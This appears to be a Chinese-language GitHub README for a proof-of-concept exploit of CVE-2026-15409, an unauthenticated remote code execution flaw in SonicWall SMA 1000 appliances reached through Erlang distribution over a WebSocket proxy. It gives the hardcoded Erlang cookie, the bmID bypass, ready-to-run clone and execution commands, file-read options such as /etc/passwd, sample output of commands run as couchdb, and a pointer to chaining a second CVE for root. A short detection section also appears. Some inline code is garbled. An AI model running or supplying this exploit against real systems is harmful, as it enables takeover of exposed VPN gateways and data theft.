CVE-2026-15409 的概念验证(PoC)漏洞利用 – 通过 WebSocket 隧道传输的 Erlang 分布式协议,在 SonicWall SMA 1000 系列设备上实现未认证的远程代码执行。
CVE-2026-15409 是一个影响 SonicWall SMA 1000 设备(2026 年 6 月热修复之前的所有版本)的严重漏洞。该缺陷位于 WorkPlace 服务(通常暴露在 443 端口)中,该服务将 WebSocket 连接代理到内部 Erlang 节点。攻击者通过伪造有效的 bmID 参数并使用硬编码的 Erlang cookie,即可建立经过认证的分布式通道,并借助对 的 RPC 调用,以 用户(或其他低权限账户)的身份执行任意系统命令。
os:cmd/1couchdb本仓库提供了一个功能完整的 PoC,以简洁的界面、完善的错误处理和美观的日志输出,自动化整个攻击链——从 WebSocket 握手到任意命令执行。
wsproxy 端点直接基于 wss:// 工作。os:cmd/1 实现;可通过 file:read_file/1 读取文件,或通过 erlang:node/0 测试连通性。bmID 值(只要以 -3389 开头)和多种 serviceType 值。[+]、[*]、[-]、[!] 符号进行彩色标记的消息输出,便于监控。该漏洞源于 SMA 1000 中的以下设计缺陷:
/wsproxy 端点将二进制 WebSocket 消息转发到本地 Erlang 分布式端口(默认 localhost:1050),且没有适当的身份验证或授权。[email protected] 监听 1050 端口并接受来自 WebSocket 代理的连接,从而可从网络访问。rex 服务,可在节点上执行任意函数,包括 os:cmd/1。ex_sra_vm_12.5.0-02002.ova)。couchdb 用户(UID 1010,daemon 组)身份实现远程代码执行。file:read_file/1 读取任意文件。websockets 库(通过 pip install websockets 安装)。git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| 参数 | 说明 |
|---|---|
--host, --port | TCP 回退(如果不使用 WebSocket) |
--cookie | 覆盖默认的硬编码 cookie |
--name | 自定义本地 Erlang 节点名称 |
--ws-origin | 为 WebSocket 设置 Origin 头 |
--ws-user-agent | User‑Agent 字符串(默认:SMA Connect Agent) |
--ws-insecure-tls | 禁用 TLS 验证(自签名证书) |
--read-file | 从目标读取文件(例如 /etc/passwd) |
--rpc | 仅通过调用 erlang:node/0 测试连接 |
漏洞利用中使用的 Erlang cookie 为:
10ecad5b446e86864832904cd439b6b70262
该值在所有已测试的 SMA 设备上保持一致,并硬编码在 localhost:1050 上的 Erlang 进程中。它与用户为集群配置的 cookie 不同。
bmID 参数bmID 必须以 -3389 开头(例如 -3389c1b25ccd)。前缀之后的任意值均被接受,因此基于签名的检测不应依赖于固定的哈希值。
虽然示例使用 serviceType=SSH,但 TELNET 等其他值同样有效。该漏洞利用不依赖服务类型。
1050 是默认的内部端口,但在野攻击中已观察到针对 8188 端口的情况。该漏洞利用可适配任何暴露 Erlang 分布式协议的端口。
在以 couchdb 身份获得 shell 后,攻击者可利用 CVE-2026-15410 – 一个 XML‑RPC 路径遍历漏洞,可删除热修复并随后将权限提升至 root。
/wsproxy 且 bmID 以 -3389 开头的异常 WebSocket 连接。couchdb 用户生成的进程(例如 bash、python、nc)。couchdb 用户修改或创建 /var/tmp/ 中的文件。本项目基于 MIT 许可证授权 – 详情请参阅 LICENSE 文件。
免责声明:本工具仅用于教育和授权测试目的。作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。
如果您觉得这个 PoC 有用,请考虑在 GitHub 上给它一个 ⭐,并负责任地分享。欢迎贡献代码、提交 issue 和拉取请求!
祝破解愉快! 🛡️